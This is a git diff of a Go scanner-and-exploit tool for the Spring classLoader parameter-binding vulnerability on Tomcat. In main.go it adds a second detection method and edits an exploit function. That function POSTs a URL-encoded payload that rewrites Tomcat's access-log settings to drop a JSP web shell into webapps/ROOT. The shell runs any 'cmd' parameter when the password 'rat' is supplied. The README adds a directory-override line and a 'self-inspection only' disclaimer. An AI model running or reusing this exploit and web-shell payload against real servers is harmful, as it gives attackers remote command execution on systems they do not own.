diff --git a/README.md b/README.md index c0fe9a4..7b78f02 100644 --- a/README.md +++ b/README.md @@ -45,6 +45,12 @@ http://127.0.0.1:8181/ echo http://127.0.0.1:8181/ | go run main.go -m exploit -v ``` +Maybe require changing the file upload path, which by default is "webapps/ROOT" + +``` +class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/ +``` + ## Disclaimer This procedure is for security self-inspection only, please consciously comply with local laws. \ No newline at end of file diff --git a/main.go b/main.go index faaf07e..b237097 100644 --- a/main.go +++ b/main.go @@ -172,13 +172,14 @@ func targetParser(target string) []string { return res } -func verify(target interface{}) { +func checkMethodOne(target interface{}) string { t := target.(string) client1 := resty.New() client1.SetTimeout(15 * time.Second) resp1, err := client1.R().SetQueryParam("class.module.classLoader.DefaultAssertionStatus", "true").Get(t) if err != nil { gologger.Warning().Msg("Request1 error: " + t) + return "" } else { if resp1.StatusCode() == http.StatusOK { //第2个请求(发送如下数据包获取400) @@ -187,10 +188,12 @@ func verify(target interface{}) { resp2, err := client2.R().SetQueryParam("class.module.classLoader.DefaultAssertionStatus", "x").Get(t) if err != nil { gologger.Warning().Msg("Request2 error: " + t) + return "" } else { if resp2.StatusCode() == http.StatusBadRequest { gologger.Info().Msg(t + " is vulnerable") - finalresult = append(finalresult, t) + //finalresult = append(finalresult, t) + return t } } } else { @@ -199,6 +202,7 @@ func verify(target interface{}) { resp3, err := client3.R().SetHeader("Content-Type", "application/x-www-form-urlencoded").SetBody("class.module.classLoader.DefaultAssertionStatus=true").Post(t) if err != nil { gologger.Warning().Msg("Request3 error: " + t) + return "" } else { if resp3.StatusCode() == http.StatusOK { client4 := resty.New() @@ -206,20 +210,73 @@ func verify(target interface{}) { resp4, err := client3.R().SetHeader("Content-Type", "application/x-www-form-urlencoded").SetBody("class.module.classLoader.DefaultAssertionStatus=x").Post(t) if err != nil { gologger.Warning().Msg("Request4 error: " + t) + return "" } else { if resp4.StatusCode() == http.StatusBadRequest { gologger.Info().Msg(t + " is vulnerable") - finalresult = append(finalresult, t) + //finalresult = append(finalresult, t) + return t } else { - gologger.Warning().Msg("no vulnerable") + //gologger.Warning().Msg("no vulnerable") + return "" } } } else { - gologger.Warning().Msg("no vulnerable") + //gologger.Warning().Msg("no vulnerable") + return "" } } } } + return "" +} + +func checkMethodTwo(target interface{}) string { + t := target.(string) + client1 := resty.New() + client1.SetTimeout(15 * time.Second) + resp1, err := client1.R().SetQueryParam("class.module.classLoader.URLs[a0]", "").Get(t) + if err != nil { + gologger.Warning().Msg("Request1 error: " + t) + return "" + } else { + if resp1.StatusCode() == http.StatusBadRequest || resp1.StatusCode() == http.StatusInternalServerError { + gologger.Info().Msg(t + " is vulnerable") + //finalresult = append(finalresult, t) + return t + } else { + client2 := resty.New() + client2.SetTimeout(15 * time.Second) + resp2, err := client2.R().SetHeader("Content-Type", "application/x-www-form-urlencoded").SetBody("class.module.classLoader.URLs[a0]=").Post(t) + if err != nil { + gologger.Warning().Msg("Request2 error: " + t) + return "" + } else { + if resp2.StatusCode() == http.StatusInternalServerError { + gologger.Info().Msg(t + " is vulnerable") + //finalresult = append(finalresult, t) + return t + } else { + //gologger.Warning().Msg("no vulnerable") + return "" + } + } + } + } +} + +func verify(target interface{}) { + resultOne := checkMethodOne(target) + if resultOne != "" { + finalresult = append(finalresult, resultOne) + } else { + resultTwo := checkMethodTwo(target) + if resultTwo != "" { + finalresult = append(finalresult, resultTwo) + } else { + gologger.Warning().Msg("no vulnerable") + } + } } func checkAlive(target string) bool { @@ -236,7 +293,7 @@ func checkAlive(target string) bool { func exploit(target interface{}) { t := target.(string) - url := t + "/d3fault.jsp" + url := t + "/def4ult.jsp" if checkAlive(t) { client := resty.New() @@ -249,7 +306,7 @@ func exploit(target interface{}) { "Content-Type": "application/x-www-form-urlencoded", }) - resp, err := client.R().SetBody([]byte(`class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22rat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=d3fault&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=`)).Post(t) + resp, err := client.R().SetBody([]byte(`class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22rat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=def4ult&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=`)).Post(t) fmt.Println("Status:", resp.Status()) for key, value := range resp.Header() { fmt.Println(key, "=", value)